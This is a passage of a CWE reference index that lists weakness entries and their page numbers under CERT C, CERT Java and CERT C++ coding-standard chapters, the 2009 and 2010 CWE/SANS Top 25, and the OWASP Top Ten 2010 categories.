  - CWE-129: Improper Validation of Array Index *(p.312)*
  - CWE-467: Use of sizeof() on a Pointer Type *(p.989)*
  - CWE-469: Use of Pointer Subtraction to Determine Size *(p.994)*
  - CWE-665: Improper Initialization *(p.1293)*
  - CWE-805: Buffer Access with Incorrect Length Value *(p.1497)*
- CWE-741: CERT C Secure Coding Standard (2008) Chapter 8 - Characters and Strings (STR) *(p.1885)*
  - CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer *(p.271)*
  - CWE-120: Buffer Copy without Checking Size of Input ('Classic Buffer Overflow') *(p.280)*
  - CWE-135: Incorrect Calculation of Multi-Byte String Length *(p.339)*
  - CWE-170: Improper Null Termination *(p.395)*
  - CWE-193: Off-by-one Error *(p.449)*
  - CWE-464: Addition of Data Structure Sentinel *(p.986)*
  - CWE-686: Function Call With Incorrect Argument Type *(p.1334)*
  - CWE-704: Incorrect Type Conversion or Cast *(p.1357)*
  - CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') *(p.141)*
  - CWE-88: Improper Neutralization of Argument Delimiters in a Command ('Argument Injection') *(p.181)*
- CWE-742: CERT C Secure Coding Standard (2008) Chapter 9 - Memory Management (MEM) *(p.1886)*

- CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer *(p.271)*
- CWE-128: Wrap-around Error *(p.309)*
- CWE-131: Incorrect Calculation of Buffer Size *(p.325)*
- CWE-190: Integer Overflow or Wraparound *(p.437)*
- CWE-20: Improper Input Validation *(p.19)*
- CWE-226: Sensitive Information Uncleared in Resource Before Release for Reuse *(p.517)*
- CWE-244: Improper Clearing of Heap Memory Before Release ('Heap Inspection') *(p.540)*
- CWE-252: Unchecked Return Value *(p.553)*
- CWE-415: Double Free *(p.901)*
- CWE-416: Use After Free *(p.904)*
- CWE-476: NULL Pointer Dereference *(p.1009)*
- CWE-528: Exposure of Core Dump File to an Unauthorized Control Sphere *(p.1100)*
- CWE-590: Free of Memory not on the Heap *(p.1179)*
- CWE-591: Sensitive Data Storage in Improperly Locked Memory *(p.1182)*
- CWE-628: Function Call with Incorrectly Specified Arguments *(p.1243)*
- CWE-665: Improper Initialization *(p.1293)*
- CWE-687: Function Call With Incorrectly Specified Argument Value *(p.1335)*
- CWE-754: Improper Check for Unusual or Exceptional Conditions *(p.1381)*

CWE-743: CERT C Secure Coding Standard (2008) Chapter 10 - Input Output (FIO) *(p.1887)*

- CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer *(p.271)*
- CWE-134: Use of Externally-Controlled Format String *(p.334)*
- CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') *(p.31)*
- CWE-241: Improper Handling of Unexpected Data Type *(p.534)*
- CWE-276: Incorrect Default Permissions *(p.606)*
- CWE-279: Incorrect Execution-Assigned Permissions *(p.611)*
- CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition') *(p.793)*
- CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition *(p.812)*
- CWE-37: Path Traversal: '/absolute/pathname/here' *(p.73)*
- CWE-379: Creation of Temporary File in Directory with Insecure Permissions *(p.834)*
- CWE-38: Path Traversal: '\absolute\pathname\here' *(p.75)*
- CWE-39: Path Traversal: 'C:dirname' *(p.77)*
- CWE-391: Unchecked Error Condition *(p.850)*
- CWE-403: Exposure of File Descriptor to Unintended Control Sphere ('File Descriptor Leak') *(p.876)*
- CWE-404: Improper Resource Shutdown or Release *(p.877)*
- CWE-41: Improper Resolution of Path Equivalence *(p.81)*
- CWE-552: Files or Directories Accessible to External Parties *(p.1125)*
- CWE-59: Improper Link Resolution Before File Access ('Link Following') *(p.106)*
- CWE-62: UNIX Hard Link *(p.112)*
- CWE-64: Windows Shortcut Following (.LNK) *(p.114)*
- CWE-65: Windows Hard Link *(p.116)*
- CWE-67: Improper Handling of Windows Device Names *(p.120)*
- CWE-675: Duplicate Operations on Resource *(p.1316)*
- CWE-676: Use of Potentially Dangerous Function *(p.1317)*
- CWE-686: Function Call With Incorrect Argument Type *(p.1334)*
- CWE-732: Incorrect Permission Assignment for Critical Resource *(p.1367)*

CWE-744: CERT C Secure Coding Standard (2008) Chapter 11 - Environment (ENV) *(p.1889)*

- CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer *(p.271)*
- CWE-426: Untrusted Search Path *(p.917)*
- CWE-462: Duplicate Key in Associative List (Alist) *(p.983)*
- CWE-705: Incorrect Control Flow Scoping *(p.1359)*
- CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') *(p.141)*
- CWE-88: Improper Neutralization of Argument Delimiters in a Command ('Argument Injection') *(p.181)*

- CWE-745: CERT C Secure Coding Standard (2008) Chapter 12 - Signals (SIG) *(p.1889)*
  - CWE-479: Signal Handler Use of a Non-reentrant Function *(p.1021)*
  - CWE-662: Improper Synchronization *(p.1288)*
- CWE-746: CERT C Secure Coding Standard (2008) Chapter 13 - Error Handling (ERR) *(p.1890)*
  - CWE-20: Improper Input Validation *(p.19)*
  - CWE-391: Unchecked Error Condition *(p.850)*
  - CWE-544: Missing Standardized Error Handling Mechanism *(p.1117)*
  - CWE-676: Use of Potentially Dangerous Function *(p.1317)*
  - CWE-705: Incorrect Control Flow Scoping *(p.1359)*
- CWE-747: CERT C Secure Coding Standard (2008) Chapter 14 - Miscellaneous (MSC) *(p.1891)*
  - CWE-14: Compiler Removal of Code to Clear Buffers *(p.14)*
  - CWE-176: Improper Handling of Unicode Encoding *(p.407)*
  - CWE-20: Improper Input Validation *(p.19)*
  - CWE-330: Use of Insufficiently Random Values *(p.730)*
  - CWE-480: Use of Incorrect Operator *(p.1023)*
  - CWE-482: Comparing instead of Assigning *(p.1029)*
  - CWE-561: Dead Code *(p.1133)*
  - CWE-563: Assignment to Variable without Use *(p.1137)*
  - CWE-570: Expression is Always False *(p.1147)*
  - CWE-571: Expression is Always True *(p.1150)*
  - CWE-697: Incorrect Comparison *(p.1350)*
  - CWE-704: Incorrect Type Conversion or Cast *(p.1357)*
- CWE-748: CERT C Secure Coding Standard (2008) Appendix - POSIX (POS) *(p.1891)*
  - CWE-170: Improper Null Termination *(p.395)*
  - CWE-242: Use of Inherently Dangerous Function *(p.536)*
  - CWE-272: Least Privilege Violation *(p.598)*
  - CWE-273: Improper Check for Dropped Privileges *(p.601)*
  - CWE-363: Race Condition Enabling Link Following *(p.801)*
  - CWE-366: Race Condition within a Thread *(p.809)*
  - CWE-562: Return of Stack Variable Address *(p.1136)*
  - CWE-59: Improper Link Resolution Before File Access ('Link Following') *(p.106)*
  - CWE-667: Improper Locking *(p.1299)*
  - CWE-686: Function Call With Incorrect Argument Type *(p.1334)*
  - CWE-696: Incorrect Behavior Order *(p.1348)*

Graph View: CWE-750: Weaknesses in the 2009 CWE/ SANS Top 25 Most Dangerous Programming Errors

- CWE-751: 2009 Top 25 - Insecure Interaction Between Components *(p.1892)*
  - CWE-116: Improper Encoding or Escaping of Output *(p.260)*
  - CWE-20: Improper Input Validation *(p.19)*
  - CWE-209: Generation of Error Message Containing Sensitive Information *(p.490)*
  - CWE-319: Cleartext Transmission of Sensitive Information *(p.705)*
  - CWE-352: Cross-Site Request Forgery (CSRF) *(p.773)*
  - CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition') *(p.793)*
  - CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') *(p.141)*
  - CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') *(p.152)*
  - CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') *(p.187)*
- CWE-752: 2009 Top 25 - Risky Resource Management *(p.1893)*
  - CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer *(p.271)*
  - CWE-404: Improper Resource Shutdown or Release *(p.877)*
  - CWE-426: Untrusted Search Path *(p.917)*
  - CWE-494: Download of Code Without Integrity Check *(p.1055)*
  - CWE-642: External Control of Critical State Data *(p.1257)*
  - CWE-665: Improper Initialization *(p.1293)*
  - CWE-682: Incorrect Calculation *(p.1326)*
  - CWE-73: External Control of File Name or Path *(p.125)*
  - CWE-94: Improper Control of Generation of Code ('Code Injection') *(p.204)*
- CWE-753: 2009 Top 25 - Porous Defenses *(p.1893)*
  - CWE-250: Execution with Unnecessary Privileges *(p.547)*
  - CWE-259: Use of Hard-coded Password *(p.569)*
  - CWE-285: Improper Authorization *(p.623)*
  - CWE-327: Use of a Broken or Risky Cryptographic Algorithm *(p.720)*
  - CWE-330: Use of Insufficiently Random Values *(p.730)*
  - CWE-602: Client-Side Enforcement of Server-Side Security *(p.1200)*
  - CWE-732: Incorrect Permission Assignment for Critical Resource *(p.1367)*
  - CWE-798: Use of Hard-coded Credentials *(p.1486)*

Graph View: CWE-800: Weaknesses in the 2010 CWE/ SANS Top 25 Most Dangerous Programming Errors

- CWE-808: 2010 Top 25 - Weaknesses On the Cusp *(p.1896)*
  - CWE-134: Use of Externally-Controlled Format String *(p.334)*
  - CWE-212: Improper Removal of Sensitive Information Before Storage or Transfer *(p.500)*
  - CWE-307: Improper Restriction of Excessive Authentication Attempts *(p.678)*
  - CWE-330: Use of Insufficiently Random Values *(p.730)*
  - CWE-416: Use After Free *(p.904)*
  - CWE-426: Untrusted Search Path *(p.917)*
  - CWE-454: External Initialization of Trusted Variables or Data Stores *(p.967)*
  - CWE-456: Missing Initialization of a Variable *(p.971)*
  - CWE-476: NULL Pointer Dereference *(p.1009)*
  - CWE-59: Improper Link Resolution Before File Access ('Link Following') *(p.106)*
  - CWE-672: Operation on a Resource after Expiration or Release *(p.1310)*
  - CWE-681: Incorrect Conversion between Numeric Types *(p.1322)*
  - CWE-749: Exposed Dangerous Method or Function *(p.1377)*
  - CWE-772: Missing Release of Resource after Effective Lifetime *(p.1432)*
  - CWE-799: Improper Control of Interaction Frequency *(p.1494)*
  - CWE-804: Guessable CAPTCHA *(p.1495)*
- CWE-803: 2010 Top 25 - Porous Defenses *(p.1895)*
  - CWE-285: Improper Authorization *(p.623)*
  - CWE-306: Missing Authentication for Critical Function *(p.674)*
  - CWE-311: Missing Encryption of Sensitive Data *(p.686)*
  - CWE-327: Use of a Broken or Risky Cryptographic Algorithm *(p.720)*
  - CWE-732: Incorrect Permission Assignment for Critical Resource *(p.1367)*
  - CWE-798: Use of Hard-coded Credentials *(p.1486)*
  - CWE-807: Reliance on Untrusted Inputs in a Security Decision *(p.1507)*
- CWE-802: 2010 Top 25 - Risky Resource Management *(p.1895)*
  - CWE-120: Buffer Copy without Checking Size of Input ('Classic Buffer Overflow') *(p.280)*
  - CWE-129: Improper Validation of Array Index *(p.312)*
  - CWE-131: Incorrect Calculation of Buffer Size *(p.325)*
  - CWE-190: Integer Overflow or Wraparound *(p.437)*
  - CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') *(p.31)*
  - CWE-494: Download of Code Without Integrity Check *(p.1055)*
  - CWE-754: Improper Check for Unusual or Exceptional Conditions *(p.1381)*
  - CWE-770: Allocation of Resources Without Limits or Throttling *(p.1422)*
  - CWE-805: Buffer Access with Incorrect Length Value *(p.1497)*
  - CWE-98: Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') *(p.217)*
- CWE-801: 2010 Top 25 - Insecure Interaction Between Components *(p.1894)*
  - CWE-209: Generation of Error Message Containing Sensitive Information *(p.490)*
  - CWE-352: Cross-Site Request Forgery (CSRF) *(p.773)*
  - CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition') *(p.793)*
  - CWE-434: Unrestricted Upload of File with Dangerous Type *(p.935)*
  - CWE-601: URL Redirection to Untrusted Site ('Open Redirect') *(p.1195)*
  - CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') *(p.141)*
  - CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') *(p.152)*
  - CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') *(p.187)*

Graph View: CWE-809: Weaknesses in OWASP Top Ten (2010)

- CWE-810: OWASP Top Ten 2010 Category A1 - Injection *(p.1896)*
  - CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') *(p.141)*
  - CWE-88: Improper Neutralization of Argument Delimiters in a Command ('Argument Injection') *(p.181)*
  - CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') *(p.187)*
  - CWE-90: Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection') *(p.198)*
  - CWE-91: XML Injection (aka Blind XPath Injection) *(p.200)*
- CWE-811: OWASP Top Ten 2010 Category A2 - Cross-Site Scripting (XSS) *(p.1897)*
  - CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') *(p.152)*
- CWE-812: OWASP Top Ten 2010 Category A3 - Broken Authentication and Session Management *(p.1897)*
  - CWE-287: Improper Authentication *(p.630)*
  - CWE-306: Missing Authentication for Critical Function *(p.674)*
  - CWE-307: Improper Restriction of Excessive Authentication Attempts *(p.678)*
  - CWE-798: Use of Hard-coded Credentials *(p.1486)*
- CWE-813: OWASP Top Ten 2010 Category A4 - Insecure Direct Object References *(p.1898)*
  - CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') *(p.31)*
  - CWE-434: Unrestricted Upload of File with Dangerous Type *(p.935)*
  - CWE-639: Authorization Bypass Through User-Controlled Key *(p.1251)*
  - CWE-829: Inclusion of Functionality from Untrusted Control Sphere *(p.1532)*
  - CWE-862: Missing Authorization *(p.1567)*
  - CWE-863: Incorrect Authorization *(p.1573)*
  - CWE-99: Improper Control of Resource Identifiers ('Resource Injection') *(p.224)*
- CWE-814: OWASP Top Ten 2010 Category A5 - Cross-Site Request Forgery(CSRF) *(p.1898)*
  - CWE-352: Cross-Site Request Forgery (CSRF) *(p.773)*
- CWE-815: OWASP Top Ten 2010 Category A6 - Security Misconfiguration *(p.1898)*
  - CWE-209: Generation of Error Message Containing Sensitive Information *(p.490)*
  - CWE-219: Storage of File with Sensitive Data Under Web Root *(p.509)*
  - CWE-250: Execution with Unnecessary Privileges *(p.547)*
  - CWE-538: Insertion of Sensitive Information into Externally-Accessible File or Directory *(p.1111)*
  - CWE-552: Files or Directories Accessible to External Parties *(p.1125)*
  - CWE-732: Incorrect Permission Assignment for Critical Resource *(p.1367)*
- CWE-816: OWASP Top Ten 2010 Category A7 - Insecure Cryptographic Storage *(p.1899)*
  - CWE-311: Missing Encryption of Sensitive Data *(p.686)*
  - CWE-312: Cleartext Storage of Sensitive Information *(p.693)*
  - CWE-326: Inadequate Encryption Strength *(p.718)*
  - CWE-327: Use of a Broken or Risky Cryptographic Algorithm *(p.720)*
  - CWE-759: Use of a One-Way Hash without a Salt *(p.1395)*
- CWE-817: OWASP Top Ten 2010 Category A8 - Failure to Restrict URL Access *(p.1899)*
  - CWE-285: Improper Authorization *(p.623)*
  - CWE-862: Missing Authorization *(p.1567)*
  - CWE-863: Incorrect Authorization *(p.1573)*
- CWE-818: OWASP Top Ten 2010 Category A9 - Insufficient Transport Layer Protection *(p.1900)*
  - CWE-311: Missing Encryption of Sensitive Data *(p.686)*
  - CWE-319: Cleartext Transmission of Sensitive Information *(p.705)*
- CWE-819: OWASP Top Ten 2010 Category A10 - Unvalidated Redirects and Forwards *(p.1900)*
  - CWE-601: URL Redirection to Untrusted Site ('Open Redirect') *(p.1195)*

Graph View: CWE-844: Weaknesses Addressed by The CERT Oracle Secure Coding Standard for Java (2011)

- CWE-845: The CERT Oracle Secure Coding Standard for Java (2011) Chapter 2 - Input Validation and Data Sanitization (IDS) *(p.1902)*
  - CWE-116: Improper Encoding or Escaping of Output *(p.260)*
  - CWE-134: Use of Externally-Controlled Format String *(p.334)*
  - CWE-144: Improper Neutralization of Line Delimiters *(p.351)*
  - CWE-150: Improper Neutralization of Escape, Meta, or Control Sequences *(p.362)*
  - CWE-180: Incorrect Behavior Order: Validate Before Canonicalize *(p.417)*
  - CWE-182: Collapse of Data into Unsafe Value *(p.422)*
  - CWE-289: Authentication Bypass by Alternate Name *(p.638)*
  - CWE-409: Improper Handling of Highly Compressed Data (Data Amplification) *(p.890)*
  - CWE-625: Permissive Regular Expression *(p.1237)*
  - CWE-647: Use of Non-Canonical URL Paths for Authorization Decisions *(p.1269)*
  - CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') *(p.141)*
  - CWE-838: Inappropriate Encoding for Output Context *(p.1551)*
- CWE-846: The CERT Oracle Secure Coding Standard for Java (2011) Chapter 3 - Declarations and Initialization (DCL) *(p.1902)*
  - CWE-665: Improper Initialization *(p.1293)*
- CWE-847: The CERT Oracle Secure Coding Standard for Java (2011) Chapter 4 - Expressions (EXP) *(p.1903)*
  - CWE-252: Unchecked Return Value *(p.553)*
  - CWE-479: Signal Handler Use of a Non-reentrant Function *(p.1021)*
  - CWE-595: Comparison of Object References Instead of Object Contents *(p.1187)*
  - CWE-597: Use of Wrong Operator in String Comparison *(p.1189)*
- CWE-848: The CERT Oracle Secure Coding Standard for Java (2011) Chapter 5 - Numeric Types and Operations (NUM) *(p.1903)*
  - CWE-197: Numeric Truncation Error *(p.461)*
  - CWE-369: Divide By Zero *(p.818)*
  - CWE-681: Incorrect Conversion between Numeric Types *(p.1322)*
- CWE-849: The CERT Oracle Secure Coding Standard for Java (2011) Chapter 6 - Object Orientation (OBJ) *(p.1904)*
  - CWE-374: Passing Mutable Objects to an Untrusted Method *(p.824)*
  - CWE-375: Returning a Mutable Object to an Untrusted Caller *(p.827)*
  - CWE-486: Comparison of Classes by Name *(p.1036)*
  - CWE-491: Public cloneable() Method Without Final ('Object Hijack') *(p.1044)*
  - CWE-492: Use of Inner Class Containing Sensitive Data *(p.1046)*
  - CWE-493: Critical Public Variable Without Final Modifier *(p.1053)*
  - CWE-498: Cloneable Class Containing Sensitive Information *(p.1065)*
  - CWE-500: Public Static Field Not Marked Final *(p.1069)*
  - CWE-582: Array Declared Public, Final, and Static *(p.1168)*
  - CWE-766: Critical Data Element Declared Public *(p.1415)*
- CWE-850: The CERT Oracle Secure Coding Standard for Java (2011) Chapter 7 - Methods (MET) *(p.1904)*
  - CWE-487: Reliance on Package-level Scope *(p.1038)*
  - CWE-568: finalize() Method Without super.finalize() *(p.1146)*
  - CWE-573: Improper Following of Specification by Caller *(p.1153)*
  - CWE-581: Object Model Violation: Just One of Equals and Hashcode Defined *(p.1167)*
  - CWE-583: finalize() Method Declared Public *(p.1169)*
  - CWE-586: Explicit Call to Finalize() *(p.1174)*
  - CWE-589: Call to Non-ubiquitous API *(p.1178)*
  - CWE-617: Reachable Assertion *(p.1224)*
- CWE-851: The CERT Oracle Secure Coding Standard for Java (2011) Chapter 8 - Exceptional Behavior (ERR) *(p.1905)*

- CWE-209: Generation of Error Message Containing Sensitive Information *(p.490)*
- CWE-230: Improper Handling of Missing Values *(p.521)*
- CWE-232: Improper Handling of Undefined Values *(p.524)*
- CWE-248: Uncaught Exception *(p.545)*
- CWE-382: J2EE Bad Practices: Use of System.exit() *(p.836)*
- CWE-390: Detection of Error Condition Without Action *(p.845)*
- CWE-395: Use of NullPointerException Catch to Detect NULL Pointer Dereference *(p.857)*
- CWE-397: Declaration of Throws for Generic Exception *(p.862)*
- CWE-460: Improper Cleanup on Thrown Exception *(p.981)*
- CWE-497: Exposure of Sensitive System Information to an Unauthorized Control Sphere *(p.1062)*
- CWE-584: Return Inside Finally Block *(p.1171)*
- CWE-600: Uncaught Exception in Servlet *(p.1193)*
- CWE-690: Unchecked Return Value to NULL Pointer Dereference *(p.1339)*
- CWE-703: Improper Check or Handling of Exceptional Conditions *(p.1355)*
- CWE-705: Incorrect Control Flow Scoping *(p.1359)*

CWE-852: The CERT Oracle Secure Coding Standard for Java (2011) Chapter 9 - Visibility and Atomicity (VNA) *(p.1906)*

- CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition') *(p.793)*
- CWE-366: Race Condition within a Thread *(p.809)*
- CWE-413: Improper Resource Locking *(p.896)*
- CWE-567: Unsynchronized Access to Shared Data in a Multithreaded Context *(p.1144)*
- CWE-662: Improper Synchronization *(p.1288)*
- CWE-667: Improper Locking *(p.1299)*

CWE-853: The CERT Oracle Secure Coding Standard for Java (2011) Chapter 10 - Locking (LCK) *(p.1906)*

- CWE-412: Unrestricted Externally Accessible Lock *(p.893)*
- CWE-413: Improper Resource Locking *(p.896)*
- CWE-609: Double-Checked Locking *(p.1211)*
- CWE-667: Improper Locking *(p.1299)*
- CWE-820: Missing Synchronization *(p.1512)*
- CWE-833: Deadlock *(p.1543)*

CWE-854: The CERT Oracle Secure Coding Standard for Java (2011) Chapter 11 - Thread APIs (THI) *(p.1907)*

- CWE-572: Call to Thread run() instead of start() *(p.1152)*
- CWE-705: Incorrect Control Flow Scoping *(p.1359)*

CWE-855: The CERT Oracle Secure Coding Standard for Java (2011) Chapter 12 - Thread Pools (TPS) *(p.1907)*

- CWE-392: Missing Report of Error Condition *(p.853)*
- CWE-405: Asymmetric Resource Consumption (Amplification) *(p.883)*
- CWE-410: Insufficient Resource Pool *(p.891)*

CWE-856: The CERT Oracle Secure Coding Standard for Java (2011) Chapter 13 - Thread-Safety Miscellaneous (TSM) *(p.1908)*

CWE-857: The CERT Oracle Secure Coding Standard for Java (2011) Chapter 14 - Input Output (FIO) *(p.1908)*

- CWE-135: Incorrect Calculation of Multi-Byte String Length *(p.339)*
- CWE-198: Use of Incorrect Byte Ordering *(p.465)*
- CWE-276: Incorrect Default Permissions *(p.606)*
- CWE-279: Incorrect Execution-Assigned Permissions *(p.611)*
- CWE-359: Exposure of Private Personal Information to an Unauthorized Actor *(p.788)*
- CWE-377: Insecure Temporary File *(p.829)*
- CWE-404: Improper Resource Shutdown or Release *(p.877)*
- CWE-405: Asymmetric Resource Consumption (Amplification) *(p.883)*
- CWE-459: Incomplete Cleanup *(p.978)*
- CWE-532: Insertion of Sensitive Information into Log File *(p.1104)*
- CWE-67: Improper Handling of Windows Device Names *(p.120)*

- CWE-732: Incorrect Permission Assignment for Critical Resource *(p.1367)*
- CWE-770: Allocation of Resources Without Limits or Throttling *(p.1422)*

CWE-858: The CERT Oracle Secure Coding Standard for Java (2011) Chapter 15 - Serialization (SER) *(p.1909)*

- CWE-250: Execution with Unnecessary Privileges *(p.547)*
- CWE-319: Cleartext Transmission of Sensitive Information *(p.705)*
- CWE-400: Uncontrolled Resource Consumption *(p.864)*
- CWE-499: Serializable Class Containing Sensitive Data *(p.1067)*
- CWE-502: Deserialization of Untrusted Data *(p.1072)*
- CWE-589: Call to Non-ubiquitous API *(p.1178)*
- CWE-770: Allocation of Resources Without Limits or Throttling *(p.1422)*

CWE-859: The CERT Oracle Secure Coding Standard for Java (2011) Chapter 16 - Platform Security (SEC) *(p.1909)*

- CWE-111: Direct Use of Unsafe JNI *(p.247)*
- CWE-266: Incorrect Privilege Assignment *(p.580)*
- CWE-272: Least Privilege Violation *(p.598)*
- CWE-300: Channel Accessible by Non-Endpoint *(p.663)*
- CWE-302: Authentication Bypass by Assumed-Immutable Data *(p.668)*
- CWE-319: Cleartext Transmission of Sensitive Information *(p.705)*
- CWE-347: Improper Verification of Cryptographic Signature *(p.764)*
- CWE-470: Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection') *(p.996)*
- CWE-494: Download of Code Without Integrity Check *(p.1055)*
- CWE-732: Incorrect Permission Assignment for Critical Resource *(p.1367)*
- CWE-807: Reliance on Untrusted Inputs in a Security Decision *(p.1507)*

CWE-860: The CERT Oracle Secure Coding Standard for Java (2011) Chapter 17 - Runtime Environment (ENV) *(p.1910)*

- CWE-349: Acceptance of Extraneous Untrusted Data With Trusted Data *(p.768)*
- CWE-732: Incorrect Permission Assignment for Critical Resource *(p.1367)*

CWE-861: The CERT Oracle Secure Coding Standard for Java (2011) Chapter 18 - Miscellaneous (MSC) *(p.1910)*

- CWE-259: Use of Hard-coded Password *(p.569)*
- CWE-311: Missing Encryption of Sensitive Data *(p.686)*
- CWE-330: Use of Insufficiently Random Values *(p.730)*
- CWE-332: Insufficient Entropy in PRNG *(p.739)*
- CWE-333: Improper Handling of Insufficient Entropy in TRNG *(p.740)*
- CWE-336: Same Seed in Pseudo-Random Number Generator (PRNG) *(p.745)*
- CWE-337: Predictable Seed in Pseudo-Random Number Generator (PRNG) *(p.747)*
- CWE-400: Uncontrolled Resource Consumption *(p.864)*
- CWE-401: Missing Release of Memory after Effective Lifetime *(p.872)*
- CWE-543: Use of Singleton Pattern Without Synchronization in a Multithreaded Context *(p.1115)*
- CWE-770: Allocation of Resources Without Limits or Throttling *(p.1422)*
- CWE-798: Use of Hard-coded Credentials *(p.1486)*

Graph View: CWE-868: Weaknesses Addressed by the SEI CERT C++ Coding Standard (2016 Version)

- CWE-869: CERT C++ Secure Coding Section 01 - Preprocessor (PRE) *(p.1913)*
- CWE-870: CERT C++ Secure Coding Section 02 - Declarations and Initialization (DCL) *(p.1914)*
- CWE-871: CERT C++ Secure Coding Section 03 - Expressions (EXP) *(p.1914)*
  - CWE-476: NULL Pointer Dereference *(p.1009)*
  - CWE-480: Use of Incorrect Operator *(p.1023)*
  - CWE-768: Incorrect Short Circuit Evaluation *(p.1420)*
- CWE-872: CERT C++ Secure Coding Section 04 - Integers (INT) *(p.1914)*
  - CWE-129: Improper Validation of Array Index *(p.312)*
  - CWE-190: Integer Overflow or Wraparound *(p.437)*
  - CWE-192: Integer Coercion Error *(p.446)*
  - CWE-197: Numeric Truncation Error *(p.461)*
  - CWE-20: Improper Input Validation *(p.19)*
  - CWE-369: Divide By Zero *(p.818)*
  - CWE-466: Return of Pointer Value Outside of Expected Range *(p.988)*
  - CWE-587: Assignment of a Fixed Address to a Pointer *(p.1175)*
  - CWE-606: Unchecked Input for Loop Condition *(p.1207)*
  - CWE-676: Use of Potentially Dangerous Function *(p.1317)*
  - CWE-681: Incorrect Conversion between Numeric Types *(p.1322)*
  - CWE-682: Incorrect Calculation *(p.1326)*
- CWE-873: CERT C++ Secure Coding Section 05 - Floating Point Arithmetic (FLP) *(p.1915)*
  - CWE-369: Divide By Zero *(p.818)*
  - CWE-681: Incorrect Conversion between Numeric Types *(p.1322)*
  - CWE-682: Incorrect Calculation *(p.1326)*
  - CWE-686: Function Call With Incorrect Argument Type *(p.1334)*
- CWE-874: CERT C++ Secure Coding Section 06 - Arrays and the STL (ARR) *(p.1915)*
  - CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer *(p.271)*
  - CWE-129: Improper Validation of Array Index *(p.312)*
  - CWE-467: Use of sizeof() on a Pointer Type *(p.989)*
  - CWE-469: Use of Pointer Subtraction to Determine Size *(p.994)*
  - CWE-665: Improper Initialization *(p.1293)*
  - CWE-805: Buffer Access with Incorrect Length Value *(p.1497)*
- CWE-875: CERT C++ Secure Coding Section 07 - Characters and Strings (STR) *(p.1916)*
  - CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer *(p.271)*
  - CWE-120: Buffer Copy without Checking Size of Input ('Classic Buffer Overflow') *(p.280)*
  - CWE-170: Improper Null Termination *(p.395)*
  - CWE-193: Off-by-one Error *(p.449)*
  - CWE-464: Addition of Data Structure Sentinel *(p.986)*
  - CWE-686: Function Call With Incorrect Argument Type *(p.1334)*
  - CWE-704: Incorrect Type Conversion or Cast *(p.1357)*
  - CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') *(p.141)*
  - CWE-88: Improper Neutralization of Argument Delimiters in a Command ('Argument Injection') *(p.181)*
- CWE-876: CERT C++ Secure Coding Section 08 - Memory Management (MEM) *(p.1917)*
  - CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer *(p.271)*
  - CWE-128: Wrap-around Error *(p.309)*
  - CWE-131: Incorrect Calculation of Buffer Size *(p.325)*
  - CWE-190: Integer Overflow or Wraparound *(p.437)*
  - CWE-20: Improper Input Validation *(p.19)*
  - CWE-226: Sensitive Information Uncleared in Resource Before Release for Reuse *(p.517)*
  - CWE-244: Improper Clearing of Heap Memory Before Release ('Heap Inspection') *(p.540)*
  - CWE-252: Unchecked Return Value *(p.553)*

- CWE-391: Unchecked Error Condition *(p.850)*
- CWE-404: Improper Resource Shutdown or Release *(p.877)*
- CWE-415: Double Free *(p.901)*
- CWE-416: Use After Free *(p.904)*
- CWE-476: NULL Pointer Dereference *(p.1009)*
- CWE-528: Exposure of Core Dump File to an Unauthorized Control Sphere *(p.1100)*
- CWE-590: Free of Memory not on the Heap *(p.1179)*
- CWE-591: Sensitive Data Storage in Improperly Locked Memory *(p.1182)*
- CWE-665: Improper Initialization *(p.1293)*
- CWE-687: Function Call With Incorrectly Specified Argument Value *(p.1335)*
- CWE-690: Unchecked Return Value to NULL Pointer Dereference *(p.1339)*
- CWE-703: Improper Check or Handling of Exceptional Conditions *(p.1355)*
- CWE-754: Improper Check for Unusual or Exceptional Conditions *(p.1381)*
- CWE-762: Mismatched Memory Management Routines *(p.1405)*
- CWE-770: Allocation of Resources Without Limits or Throttling *(p.1422)*
- CWE-822: Untrusted Pointer Dereference *(p.1515)*

CWE-877: CERT C++ Secure Coding Section 09 - Input Output (FIO) *(p.1917)*

- CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer *(p.271)*
- CWE-134: Use of Externally-Controlled Format String *(p.334)*
- CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') *(p.31)*
- CWE-241: Improper Handling of Unexpected Data Type *(p.534)*
- CWE-276: Incorrect Default Permissions *(p.606)*
- CWE-279: Incorrect Execution-Assigned Permissions *(p.611)*
- CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition') *(p.793)*
- CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition *(p.812)*
